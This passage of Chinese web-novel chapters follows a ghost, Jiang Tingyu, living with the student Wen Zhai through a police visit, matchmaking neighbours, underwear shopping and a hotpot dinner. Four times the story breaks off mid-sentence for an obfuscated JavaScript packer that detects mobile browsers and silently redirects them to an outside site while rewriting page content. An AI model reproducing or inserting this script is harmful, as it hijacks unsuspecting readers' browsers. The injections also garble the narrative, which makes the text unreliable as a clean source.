身子也没有动,一直等到江听雨吃不下蛋糕了才走过去,渐渐听清了他们的聊天内容,堪比小型相亲角,三个人争抢着一只刚落入网兜里的绵羊。 “小雨觉得他长得怎么样?这是我侄子,现在在首都上班,可厉害了,就是快三十了还不找对象,我和他妈都替他着急。” “我手机里也有照片,小雨看看他怎么样,虽然才二十出头,但做事很稳重,在家非常孝顺爸妈,到现在还没谈过恋爱,最适合你这样的小年轻了。” “女孩子要找就找会疼人的,不容易受委屈。我这就认识一个,小雨平时是□□用的多还是微信多?我马上把他的联系方式推给你。” 江听雨“以一敌三”,刚吃饱就又开始头晕目眩了,三部手机同时伸到面前,照片根本看不过来,口忙舌乱地说着“啊等等”、“唔我看看”,到后面说了句什么,三部手机又遗憾地收了回去。 闻翟就是在这个时候出现的,不知道听去了多少内容,低沉磁性的嗓音响起,蕴含着不易察觉的冰冷气息,喊他的名字:“江听雨。”像是亲手抓到妻子出轨的丈夫。 他的声音不算大,但存在感极强,四人不约而同看过来,只有江听雨和他对视上,明明是白天,却感觉自己像是要被他漆黑的眼眸吞噬掉了。 “小雨,他是你朋友吗?”一名阿姨最先开口,眼神毒辣地打量着闻翟,笑问:“模样长得挺端正咧,小伙子有没有谈对象?” “阿姨这里还认识几个不错的女娃,回头给你介绍介绍。” 闻翟身形高大,即便是保持沉默也不容忽视。他有一会没说话,目光淡淡地扫过江听雨,说:“我是他肚子里孩子的父亲。” 他语气稀松平常,透着点散漫劲儿,听起来不像宣誓主权,倒更像在说“今天天气不错”,连江听雨都差点没能将他的语气和内容对应上。 几位阿姨脸上闪过程度不一的惊讶,却没有怀疑真实性,旋即笑了,对江听雨说:“原来这就是小雨的对象呀。” “没想到小雨年纪轻轻就怀孕了,早知道不给你瓜子了,吃多了容易上火。”说着真将江听雨手里还剩一半的瓜子收了回去。 江听雨恋恋不舍地望着瓜子离他而去,很是痛心,又想去瞪罪魁祸首,但不到半秒,就因对方冰冷的气场败下阵,只能在心底暗暗记了对方一笔—— 可恶的凡人,今后闻翟吃瓜子的时候,他也要抢掉。 不过转念一想,他居然只用两天时间,就让闻翟亲口承认了孩子父亲的身份。 江听雨:我好厉害OvO。 8. 红烧鸡爪 闻翟带江听雨去附近的派出所,因为确实离得很近,只有三四百米的路程,走路就行。 路上,他毫无预兆地开口:“照片好看吗?” 他指刚才江听雨看到的那几个人长得怎么样。 江听雨只当他是单纯好奇,摸着下巴,非常认真地回忆并思考了一下。 其实他不太会评价别人的外貌,之前接触的都是鬼,凡人在他这里都差不多,便挑了个不会出错的答案:“还行吧。” 还行? 闻翟的面部肌肉有一瞬绷紧。 昨天还不肯从他家里出去,就连早上都在说要给他生孩子,这才过去几个小时,就觉得别人也不错了? 嘴里没一句实话的小骗子。 今天来派出所处理纠纷的人有些多,他们前面有两拨人,一拨处理经济纠纷,另一拨处理情感纠纷。 后者是一对年轻的情侣,矛盾似乎闹得挺大,双方父母都来了,指着鼻子大骂。 “都是因为你女儿每天黏着我儿子,他才分了心,考试成绩越来越差。小小年纪就会勾引人,你们这些当父母的也不见得好到哪里去!” “你个死婆娘,什么叫我女儿黏着你儿子?也不让你儿子撒泡尿照照自己,跟他妈一个尖嘴猴腮的丑模子!你怕不是没查过你儿子的手机吧?五次里面起码有四次都是你儿子主动约我女儿出去!” 双方父母吵得很凶,民警如同一杆难以平衡的秤站在中间,好不容易劝诫他们冷静些,没一会就又破口大骂起来,仿佛两颗易燃的炸弹。 反观两名主角,从始至终安安静静站在各自父母旁边,只有被父母逼问时才动动嘴说话。 字里行间,大致梳理清楚了事情经过。 原来男孩和女孩是附近高中的学生,高一开学第一天成了同桌,彼此生有好感,不到两个月就确定关系,瞒着老师和父母谈了有一年多,一直小心谨慎没被发现。 直至昨晚女孩的手机忘记锁屏,被经过的母亲看到了屏幕上的聊天记录,怀疑女儿是在学校早恋,一把夺过手机,结果脸色越看越差。 母女俩因此大吵了一架,甚至动手。女孩顶着火辣辣的鲜红,委屈至极,从家里跑了出去,夫妻两人找到深夜都没找到人,只能报了警,最后发现女孩和男孩在一起。 今早警方将两人带回了派出所,并通知双方家长,才有了现在看到的这一幕。两方家长都认为是对方的孩子有错,强行拆散了男孩和女孩,勒令他们今后不许再往来。 男孩家的经济条件似乎尚可,提到了办理转学,女孩那边的家长则已经哭成了泪人。 “……爸爸妈妈这么努力上班赚钱,都是为了给你创造更好的条件,你现在这么做对得起我们吗?” 女孩听到这话也忍不住流泪,张了张嘴却什么都说不出来,最后茫然又无助地看了一眼男孩,好像不明白为什么他们相互喜欢会变成一种错误。 江听雨和闻翟坐在大厅的等候区,那边的动静太大,就算江听雨不爱窥探别人的隐私也听去了许多,看见女孩脸上流露出来的神情,有那么一刻觉得似曾相识。 等那边的彻底结束,已经是两个小时后,闻翟带江听雨起身过去。 派出所最怕的两类案件,一类是家庭矛盾,一类就是情感纠纷。民警协调得口干舌燥,好不容易送走双方父母,此刻再面对两人时已经有些疲惫,但还是秉持着该有的服务精神询问他们遇到了什么困难。 闻翟隐去江听雨私闯民宅的行为,说自己和他不熟,只是偶然遇上的陌生人,希望警方帮忙江听雨找到家人然后送他回去。 “你们不熟?”民警发出了这样的疑惑,并未只听取一个人的片面之词,想从江听雨口中了解情况。 但江听雨选择站在闻翟身边保持沉默。 他想起了闻翟之前对他的提醒,让他在外面,尤其还有外人在场的时候别开口说话。 民警见他一直闭口不言,内心的怀疑更深,以调取个人信息需要人脸识别为由,将江听雨单独带到了一个房间里。 奇怪的是,大数据库中并没有与江听雨有关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380436|168448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的任何信息,他就像凭空出现的一样,干净得如同白纸。 民警问:“你还记得你家里人的基本信息吗?” 江听雨都没有家人,又怎么会有基本信息呢,于是摇了摇头。 民警:“那你记得你是从哪个地区过来的吗?是不是江城本地人?” 江听雨又接连摇头。他不是江城本地人,他是冥界本地鬼。 电脑上查不到信息,又什么都不记得,这就非常难办了。 民警露出难色,见江听雨留着头长发,相貌出众,代入刻板印象将他当做了女孩,联想到刚处理完的情感纠纷,问:“那你认识外面那个男生吗?” 这次江听雨笑着点了点头。闻翟就算化成灰他也能认出来,因为他能看到每个人的灵魂。 民警见状,顿时茅塞顿开,露出原来如此的表情。 这个女孩应该是在偏僻地区出生的,当地太过落后或是离相关机构过于遥远,所以一直没有上成户口。当然,也不排除小小年纪就失去亲人,一个人生活在远离社会的地方,依靠顽强的生命力和坚韧不拔的意志才长到这么大。 民警更加倾向于后面这个励志故事,这样也就说得通为何调查不到与江听雨有关的信息了。 就是没想到外面的男生瞧着人模人样,居然如此没有担当,成为了女孩的心上人和唯一依靠,却又想通过这种方式甩开女孩。 民警望向江听雨的眼神里多了几分同情,决定帮他一把,同时让男生认识到自己的错误。 “你跟我一起出去吧。”民警安抚江听雨,“不用害怕,我们的职责就是全心全意为人民服务,一定会帮你解决困难的。” 江听雨挠了挠脸蛋,听得云里雾里,但见对方由内而外散发出来的正义光芒,愿意相信他的话,起身跟民警走出小房间。 闻翟以为事情是已经有了结果,准备听完民警的话就离开,谁知民警却语重心长地对他说:“男子汉大丈夫,最重要的就是担当,主动承担起该承担的责任。” 闻翟:“?” 9. 清炒冬瓜 不知道江听雨和民警进去的十五分钟时间里究竟发生了什么,不仅成功令民警倒伐站在他那边,还劝说他回去后对江听雨好一点。 “两个人把日子过好,比什么都重要。”这是民警的原话。 闻翟严重怀疑江听雨是不是威胁民警了,要不就是民警有什么把柄落在了江听雨手里。 江听雨感受到审视的视线落在自己身上,无辜地眨了下眼,保持沉默。 在民警发表完一大篇从思想道德到家庭伦理的讲话后,闻翟才得以开口:“您误会了,我之前真的不认识他。” 民警见他依旧执迷不悟,觉得自己必须拿出点实际性的证据来,好捶死他们之间的关系,让他无言反驳。 “那行,你们住在哪?我送你们回去吧,顺便做一个走访。”民警说:“这是上面规定的流程。” 都这么说了,闻翟就算不想按要求来都不行,除非他不送江听雨进派出所了,但这样又与他的目的相违背。 民警开车送他们,小区离得不远,踩一脚油门就到了。停好车下去,民警依然没有放弃给闻翟灌输思想,将格尽职守体现得淋漓尽致。 “哎,这不是小雨和他对象吗,怎么出去一趟还带了个警察同志回来哟。”阿姨刚吃完午饭,没想到下楼散步消食又遇到认识的人,主动上来攀谈。 闻翟听到她前半句话时心就凉了一截,反观江听雨,居然还有心思挥手打招呼,脸上挂着的笑容仿佛遇到了亲阿姨。 民警凭借专业素养,一眼认出阿姨是这栋楼里的住户,随后用一副“我就知道”的表情看着闻翟,眼神里半是找到证据的得意,半是对他狡辩不认的谴责。 闻翟认为他今日比窦娥还冤。 “同志您好,我是江城派出所的民警张伟,职责所在送他二人回来,顺便做一个简单的调查。您不用紧张,我问您几个问题,如实回答就行。”民警说。 阿姨点头配合,让他只管问就行,知晓的一定回答。 民警:“请问他们是这附近的住户吗?” 阿姨:“当然啊,我还知道他们住在一单元二十一楼呢。” 闻翟一听就知道是江听雨说出去的。这个笨蛋,几个蛋糕几颗瓜子就叫人套了家庭住址,是不是再请吃一顿饭就能将他卖了? 肯定是,估计边帮人数钱还边不解为什么卖得那么便宜。 民警问这几个问题,最主要的本意还是在于告诉闻翟:人证物证俱在,所以你和你身边的女孩就是认识的!看你还怎么狡辩! 然而当事人持续嘴硬表示:“我不是他对象。” 阿姨先是一愣,随后像是捡了宝,欣喜道:“这么说我可以给小雨介绍新的对象了?” “正好,我家大儿子从国外留学回来了。难怪我一见小雨就特别喜欢,原来这就是婆婆和儿媳之间的缘分呐!” 阿姨又握住江听雨的手,和蔼地拍了拍他的手背,说:“小雨要不要跟我走?阿姨家还做了好多小蛋糕,老头子不爱吃,我一个人又吃不完,你要喜欢吃全给你,阿姨天天给你做都行。” 还有这种好事? 运转了两千年的大脑已经承担不起太复杂的程序,江听雨的主机自动过滤掉“婆婆和儿媳”这层条件,只留下最突出、最重要的——小蛋糕,生怕多慢一秒就没得吃了,连忙点头答应。 闻翟将他恨不得现在就跟人跑了的样子看得一清二楚,脸色骤变,好似下一秒就要暴走犯罪。 站在他身边的民警感到有股冷气撞在皮肤上,不明就里地搓了搓手臂,并未注意到此刻的闻翟很像他的“二等功”。 “不许走。”闻翟说,握住了江听雨的手腕将他拉回身边。 从江听雨遇到这名阿姨的时间算起,最多不超过五小时,而他跟江听雨好歹认识了一天半,三十三个小时。 所以江听雨凭什么跟对方走? 如今搞相亲的骗子一抓一大把,更别说他也会做小蛋糕,从他这里吃就足够了,去别人家做什么。 手腕上的力道存在感极强,隐隐作痛,江听雨都被他握出了一圈红印,不解地看向他,但还是忍住了没开口。 阿姨同样困惑:“小伙子紧张什么?” 闻翟像是忘了不久前撇清关系的话,说:“我是他对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380437|168448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 象。” 他承认了!他终于亲口承认了! 民警压下内心的激动,沉稳且欣慰地拍了拍闻翟的肩膀,说:“你能想清楚就太好了。” “回去好好过日子,小姑娘人挺不错的,到这个时候都没说过你一句坏话。” 闻翟:“……” - 在民警和阿姨的双双注视之下,闻翟只能将江听雨暂时又带回了家。 “你为什么不和他们解释?”闻翟问。 江听雨记性不错,几乎将他那时的话原封不动搬过来:“不是你告诉我,在外面不许乱说话,至少你在我旁边的时候最好别开口吗?” 闻翟动动嘴,第一次体会到了什么叫做哑口无言和一拳打在了棉花上的无力感。 “……算了。”半晌,闻翟叹了口气,不知道是在对江听雨说,还是对他自己说。 今天去的派出所不能再去了,民警已经认定了他和江听雨之间存在关系,再去也无济于事。另外江听雨实在太笨了,他感觉有必要教会江听雨如何防诈骗,否则就算今后成功送出去了,也是被拐的下场。 至于为什么,他懒得再去细想,可能是真的被江听雨气得不轻,也可能是国家反诈宣传深入人心。 江听雨倒是没他那么多忧愁。他今天走了很多路,到沙发上休息了一会还是感到难受,区域重点集中在腿心上。 他掀开裤管看了一眼,红彤彤的,抬头对做好午饭的闻翟说:“我不舒服。” 闻翟明显一怔,放下刚盛出来的两碗白米饭,走过来:“哪里不舒服?” 虽然他确实不喜欢江听雨住在他家里,但这两天没有虐待过他,就连昨晚上睡觉,都是他这个主人睡沙发,江听雨睡卧室的床。 “这里。”江听雨指了一下大腿中央,说:“你的裤子穿着不舒服,磨得好难受。” 类似的话江听雨昨天在电梯里就说过一次,只是那时的闻翟觉得他们之间不会再有第二次接触,所以没当回事。 “……不是裤子的问题。”闻翟瞧见那片白上的粉,语气略显僵硬,说:“吃完饭我带你去商场。” 10. 糖醋里脊 闻翟带江听雨坐公交去市中心的商场,先给他挑了几套合身的衣服,又带他到内衣店。 这家店分为两个专区,以中间为划分线,左边卖男式的,右边卖女士的,款式丰富,今天正好赶上店内的促销活动,买二赠一,有很多人在挑选。 闻翟说:“和刚才买衣服一样,挑你喜欢的款式就行。”本想在旁边等着江听雨挑完后付款,但刚进店不到半分钟,口袋里的手机就响了起来。 店里声音太吵杂,他跟江听雨说了一声后去到外面。 “喂老闻?你今天在家吗?”是祁萧打来的电话,说晚上想带几个人到他的租房里吃火锅。 “材料我们全包,人你也都认识。就是学校宿舍限电太麻烦了,用不了电磁炉,你就负责给我们腾个地呗?” 学生宿舍爱搞些小聚餐是常有的事,还喜欢自己弄吃的,上学期宿管突袭查寝,他们宿舍就有人被收走了一个锅。 那种小电锅平时可以用来煮面条、水饺、鸡蛋、青菜等等,注意点用几乎不会引起跳闸,但电磁炉这种大功率的明显不行,闻翟都不禁费解他们是从哪搞来的。 “知道你有洁癖,所以吃完后我们保管负责清理干净,一滴油都不会给你留下。” 话都说到这份上了,闻翟哪里还有拒绝的余地,但目前家里不是只有他一个人在住,提醒了一句:“我家里还有人,你们要是介意和不熟的人坐在一起吃饭,可以下次再过来。” “谁啊?”祁萧下意识问,随后逐渐品出不对劲。 闻翟这个学期开始搬出去外宿,就是为了有更安静的个人空间,现在突然说他家里还有其他人,岂不是和外宿的初衷相违背了吗? “不是我们学校的,你们应该都不认识。”闻翟说。 我靠,祁萧心想,该不会备考是假,方便和对象那啥才是真吧?! 学校不是不允许他们早恋吗?他们怎么还敢住在一起的? 哎不对,他们已经高考完了,早就是成年人了。 成年人可以干嘛来着?对,可以做点成年人的事。 “不介意,当然不介意!”如果闻翟说不方便,他们也不会勉强,就不去了,但闻翟要是说家里还有人,那他们高低要去看看是何方妖……呸,神圣。 祁萧生怕他反悔了似的,道:“那就这么说好了哈,晚上我们买好食材去找你。”说罢先一步挂断了电话,完全不给闻翟再开口的机会。 - 江听雨刚来人间不久,其实不怎么会挑选衣服和内裤,尤其如今人们的审美观念已与千年前大不相同,而他们冥界的也与人间存在差异。 在他们眼里,伤疤,甚至是断腿残臂,并不是丑陋的代表,更多象征着此人生前拥有强大的意志力,这样的人来到冥界变成鬼,会更受大家的尊敬和欢迎。 像他这样的外貌,在冥界说实话算不上出众,反而显得格格不入。他也想过划几刀增加威严感,只可惜他的恢复能力很强,再严重的伤不出几天也能好全,恢复原样。 “请问这个有和我差不多大小的吗?”江听雨向售货员询问。 售货员身穿整洁的员工服,笑说:“没有哦,我们的内裤都是正常大小,没有和人一样大的。” 江听雨差点又大脑死机,好在反应过来了,解释道:“我的意思是,有没有符合我穿的大小。” 售货员以眼为尺,快速目测完毕:“稍等,我给你拿一下哦。” “这条的大小应该比较合适。”她双手捏着内裤两边,在江听雨身前比对了一下。 江听雨很喜欢这种色彩鲜艳、带有漂亮蕾丝或蝴蝶结装饰的内裤,摸起来也软软滑滑的,在售货员的帮助下,一连选了六条。 闻翟折返回店内时,江听雨正与售货员聊得火热。他好像总是这样,与谁都能轻易聊起来,可性格上又并非很外向的人,而是有一种神奇的魔力在吸引着别人靠近。 “选好了吗?”闻翟问,没留意他和江听雨现在站着的区域有什么不对。 “选好了。”江听雨将那六条内裤拿起来给他看,买二赠一,有两条不要钱。 “……”闻翟神色微妙,半晌才说:“这些不能买。” “为什么?”江听雨向他激情推荐道:“这个好看,还有花边,比对面那些漂亮很多。” 闻翟没想到他居然是按照颜值来挑选的内裤,但这些全是女士内裤,江听雨确实不合适买,知道他脑子转不过弯,明说道:“这些是女孩子穿的,你不合适。” 江听雨微微一愣:“那男孩子穿的呢?” 闻翟扬眉:“那边。” 江听雨顺着他的视线看过去,正是他片刻前嫌弃不好看的那些,颜色偏深,表面也没什么装饰。 原来丑的是男孩子穿的。 江听雨抿了抿唇,人总是对自己看中的东西有执念,鬼也不例外,他还是更喜欢自己挑的这些,不死心道:“真的不能买吗,会不会也有男孩子穿这些?” 闻翟没骗他:“有。”但一般出现在床上情趣或者片里。 既然有人开创了先例,那就说明他也可以穿,江听雨在开口时有了底气:“那我就要这些。” 见江听雨态度坚持,闻翟知道劝说不了他,还是给他买了。 反正是江听雨穿,跟他没有关系。 手上又多了一个纸袋,离开商场前路过一家杂货店,闻翟侧目瞥了一眼江听雨那头即便在女生中也格外显眼的长发,问:“你的头发能剪吗?” 他问得很突然,前后都没有任何铺垫。江听雨没有立刻回答,似乎正在接收他的信息。 “可以剪,但这是我的本相,剪掉了也会在一晚内重新长出来。”江听雨想起什么,问:“你是想要拿我的头发去卖么?” 古人有云:“身体发肤,受之父母,不敢损伤”。 千年前即便是男子,也不会轻易剪去自己的头发。但如今不一样了,审美自由,江听雨也是刚刚从售货员口中得知可以卖发。 对方以开玩笑的口吻说:“你的头发这么长,发质还好,要是哪天缺钱了,估计可以卖个几百块。” “你缺钱吗?”江听雨继续问。 闻翟发现江听雨的口齿倒是挺伶俐的,不想剪头发可以明说,却还要扯些玄幻的东西,他问一个问题,对方返还两个问题。 “……不缺。”闻翟走进了杂货店,挑了一盒素圈皮筋结账,“今后用这个扎头发。” 江听雨没用过这种皮筋,但面对塞到手上来的东西,还是先说了一句:“谢谢你。” - 买齐东西回到家没多久,祁萧那边发了消息过来。 【祁天大圣:还有半个小时抵达战场,收到请回答,over。】 【Z:1。】 闻翟开始收拾桌子,腾地方给他们一会涮火锅。 江听雨在闻翟的指导下学会了使用洗衣机,亲手尝试将刚将新买回来的衣物按 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380438|168448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照分类放进洗衣机,倒入洗衣液、调节模式、点击确认开始,一切都很顺利。 敲门声响起时江听雨恰好走进客厅,闻翟喊他帮忙开一下门。 短短两天,江听雨还成功驯服了二十一世纪的电子门。一打开,就见堆聚在门外的四颗人头,目光齐刷刷落在他身上。 祁萧站在最前面,见开门的是一个陌生面孔,条件反射:“不好意思走错了。”带着身后兄弟们掉头就走,直至一道声音追在后面响起—— “没走错。”闻翟叫住了他们,“就是这里,进来吧。” 江听雨往后退了几步,给他们让位。 祁萧重新转过来,视线来回扫过闻翟和江听雨,眼里充满了三分震惊、三分疑惑,还有四分羡慕。 有句话怎么说来着——既怕兄弟打光棍,又怕兄弟找个白富美。 富不富暂且不论,但明眼人一看就知道江听雨满足“白”和“美”这两个条件,穿着一身不怎么合身的休闲装,细腻无瑕的皮肤透着淡淡粉色,散发出未经刻意修饰的朴素美,朝他们微微一笑时,白月光的即视感扑面而来。 “需要换鞋吗?”祁萧压了压有些快的心跳,话是对闻翟说的,却忍不住又看了江听雨一眼。 “不用。”闻翟说:“家里没那么多拖鞋。” 这里只是他为了方便准备考试暂住的地方,总共就两双拖鞋,一双在他脚上,一双在江听雨那,已经没有其他人的份了。 不过他们的到来倒是提醒了他,事后可以买些鞋套备在家里。 四人闻言,拎着手里的食材鱼贯而入。诚如祁萧所言,来的确实都是闻翟认识的人,除了祁萧,另外三个是他之前的室友,关系都还不错。 不一会,几人将电磁炉洗干净插上电,摆满了一桌子的菜。 江听雨知道今晚会有人来家里,虽然他不怕人,但也不太习惯跟这么多人挤在一个屋子里。在菜煮熟之前,悄悄溜进了阳台,守在洗衣机旁边,监督它好好干活。 洗衣机运转的轰轰声让他心安,说是监督干活,实则他的大脑很快陷入了放空状态,就像蹲在路边看蚂蚁搬家和坐在窗边看下雨的人一样。 他不在客厅,实际上也方便了祁萧提问,结合之前从闻翟身上嗅到的香气,几乎认定了江听雨就是闻翟的女朋友。 当然,最直接的证据就是江听雨此刻穿在身上的衣服,他在闻翟那里见到过。 洁癖佬都愿意把自己的衣服借给人家穿了,这不是真爱还是什么? “你也太没意思了,有了女朋友都不知道跟兄弟们说一声。”祁萧压着声量指责道,随后做出一副被伤害至深的模样。 他跟闻翟高一就认识了,后面高考出分填志愿,他们居然在没有任何商量的前提下填了同一所大学的同一专业。刚好他俩的分数线都够上,于是到了大学继续做同班同学。 这种小概率事件会发生在他们身上,也是他们能成为好兄弟的原因之一。 但认识的这五年里,祁萧从没听说过闻翟有一个叫江听雨的朋友,还是这么好看的一个女生。 “……”闻翟缄默片刻,已经数不清祁萧是第几个误会他和江听雨关系的人了,次数多了,已经变得麻木疲于解释,只淡淡开口:“他不是我对象。” 不是对象都搞到家里来了,要真变成对象了那还了得!? “卧槽。”祁萧没忍住爆了声粗,“你太不是人了!” 闻翟:??? 11. 水煮肉片 闻翟无从得知祁萧的奇葩脑回路是如何生成的,但他认为这和江听雨有得一比,两人吃饭挺适合单独坐一桌的。 “那你喜不喜欢她?现在到什么关系了?”祁萧继续问。说实话他还挺喜欢江听雨的长相,看着就很纯很乖,香香软软的,抱起来肯定很舒服。 闻翟不假思索道:“不喜欢,没关系。” 祁萧先是一愣,试图从他脸上确认是不是在说谎。 既然闻翟说不喜欢,两个人估计真没戏了。闻翟这个人最不喜欢浪费时间的麻烦,没必要在这事上造假装逼,而且谈对象也是需要付出大量时间和精力的…… 哎等等,那是不是说明他可以追了?! 想通这一点,祁萧是真的暗爽了,唇角都快扬到鼻子上去。没想到来吃个饭还能遇上这么好的事,难怪今天他的左眼皮总在跳,原来是在暗示他要走桃花运! “她叫什么名字?”祁萧差点压不住内心的激动,但秉持着好男人应有的品德,没有一上来就打探过于隐私的问题,清了下嗓子:“咳咳,既然遇上了,我觉得我可以去和她交个朋友。” “江听雨。” “哪几个字?” 闻翟面不改色说:“江听雨的江,江听雨的听雨。” “……”祁萧的素质告诉他不能乱骂人,但他面前的是狗不是人,爽快地送了对方三个大字:“你妈的。” 闻翟将洗好的青菜放进锅里烫,斜乜了他一眼:“你想干什么?我劝你别去招惹他。” 这是好言相劝,虽然只和江听雨相处了两天,但他已经切身体会到了江听雨的缠人功夫不是一般强,估计真实身份也不是一般人。 可惜江听雨的嘴很严,他套不出实话。 祁萧哼哼了两声,不以为意:“这你就甭管了,爷自有爷的幸福。” “哎对了,既然不是对象,那她为什么住在你家?” 这个说来话长,过程也是诡谲和滑稽各掺一半,闻翟简而言之:“践行雷锋精神。” 祁萧:“哈?” - 江听雨选的速洗模式,适合少量且不太脏的衣物,比如内衣,只需十五分钟即可。 转筒停止运行,发出清洗完毕的滴滴提示音,江听雨打开盖子将衣物取出来,杀菌液和洗衣液混合出一种清新的香,机洗也明显比手洗方便许多。 客厅内,一切准备就绪,闻翟正要去叫江听雨出来吃饭,对方就先走了过来,手里捏着粉色三角内裤的上端,问闻翟:“这个要怎么晒?” 他知道洗完的衣服需要晾晒后才能穿,但以往在冥殿有专人负责这类活,他没干过,不知道闻翟家是晾在哪里。 江听雨神色认真,仿佛一名向老师虚心请教问题的学生,眼里只有对知识的渴望,然而客厅里的众人却像是被点了穴位,僵硬地看着他和他手上的内裤,还是蕾丝款的。 不明真相的四人眼睛都瞪圆了,脑海里不由得闪过绿色网页里不允许存在的黄色片段。 闻翟是最先恢复正常的,若无其事地带江听雨回到阳台,顺手关上了玻璃门。 良久,其中一名室友也找回声音,不可思议地问:“她刚刚拿的是……内裤?” 祁萧也惊得有点说不出话,按理来说女孩子对于贴身衣物的隐私感都是很强的,更别说这个屋子里有五个男生。没想到江听雨居然这么有个性,不愧是跟他有缘分的女孩,和别人就是不一样! 闻翟教江听雨如何晒衣服,“这里有一个摇杆,通过转动可以调节晾衣杆的升降。你身后是衣架,用来将衣服挂上去。” 步骤不难,江听雨很快听懂,成功将洗衣机里的六条内裤都晒了上去,如果不出意外的话,他今晚洗完澡就能穿上。 确认都晾晒好,江听雨也失去守在这里的必要,准备打开玻璃门出去。 闻翟在后面叫住了他:“以后这种私人衣物不许拿出来给别人看。” 可是他没有给别人看呀,江听雨心想,同时问出心底疑惑:“你也算‘别人’吗?” 闻翟微不可见地动动唇,几次欲言又止,最后还是没答,催促他先出去吃饭。 “哦。”江听雨跟在后面。 对于刚才的小插曲,客厅里的四人也各自消化完毕,不约而同当作什么都没发生,为了不让“女孩”为难,也没有去打趣或是追问。 吃到一半,祁萧想起什么,从红色塑料袋里掏出几个铝质易拉罐,“喝酒吗,我还买了几瓶啤的。” “哥,明天还有早八要上呢。” “啤酒度数又不高,你不会是怕了吧?” “谁说我怕了!” “来来来,满上!谁先叫停谁不行!” 男孩子聚在一起总是非常热闹。江听雨对他们聊的话题不太能听懂和加入,不过光是吃火锅就很值得开心,这是他第一次吃这种东西,涮羊肉、毛肚、豆腐条……每一个裹上蘸料都是顶级美味。 他不怎么开口说话,正好可以多吃一点。 祁萧有意和他拉近关系,主动找话题问他:“你要喝一点试试吗?听说适量的啤酒可以促进血液循环,美容养颜。” 江听雨刚咽下嚼碎的牛肉丸,他的杯子里装着橙汁,还有两口就见底了,闻言有些心动。倒不是因为祁萧说出来的那些效用,而是他没喝过啤酒,抱有一种想尝试的好奇。 他拿起杯子,喝光剩下的橙汁,刚想说好,坐在他另一边的闻翟就顺势抽走了他手里的杯子,重新添满橙汁。 “?”看着装有橙色半透明的液体回到面前,江听雨和祁萧同时冒出了一个大大的问号。 “他不能喝酒。”闻翟代江听雨说。 祁萧手上那罐啤酒他自己已经倒了一半在杯子里,虽然没有碰壁,但如果他再倒给江听雨,四舍五入,两人岂不是喝了同一罐啤酒?跟间接接吻没什么区别。 闻翟的洁癖不允许这样的情况出现,至少在江听雨身上不行,究其原因也很简单——江听雨现在住在他家。 江听雨挠了挠脸,他怎么不知道他不能喝酒?但在闻翟往他手边放了一枚蛋黄酥后,他的注意力很没节操地被转移了,放下筷子去拆包装。 外观呈现圆润饱满的饼状,表面覆盖一层金黄酥皮,入口即碎,豆沙的甜度恰到好处,配合咸香浓郁的蛋黄,一口下去全是满足。 “这个好吃,还有吗?”江听雨不到两分钟就吃完了,说:“宝宝也想吃。” 宝宝?是他以为的爱称吗? 可闻翟不是才否认和人家的关系? 离江听雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380439|168448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最近的祁萧听得真切,莫大的惊讶之下脱口问出:“什么宝宝?”他的声音因情绪激动而拔高了几分,引得另外三人投来目光。 于是在座的各位亲耳听到江听雨说:“肚子里的宝宝。” 祁萧:“!!?” 众人:“!!!?” 闻翟:“…………” “等等、不是,你刚刚说……肚子里的宝宝?”祁萧的语言系统都快崩溃了,而更加崩溃的是他母胎solo二十多年的红线。 “孩子是谁的?” 江听雨朝闻翟看去,什么都没说,但又好像什么都说了。 现场死寂了几秒后—— 室友A:“衣冠禽兽。” 室友B:“禽兽不如。” 室友C:“丧心病狂。” 祁萧:“我的天呐。” 难怪要住在一起,难怪不允许江听雨喝酒,四人看向闻翟的眼神都变得微妙起来,好像在今天重新认识了一遍这个品学兼优的学霸。 闻翟:“…………” 江听雨看看左边,看看右边,见没人搭理自己,重新拿起筷子,戳起已经放凉到适口温度的紫薯丸子,又用公筷夹了一些青菜出来放到蘸碟里面等凉。 吃饭最重要。 他又吃掉一块香芋,见整个饭桌上依然只有他在吃,终于不解地问:“你们不吃么?” 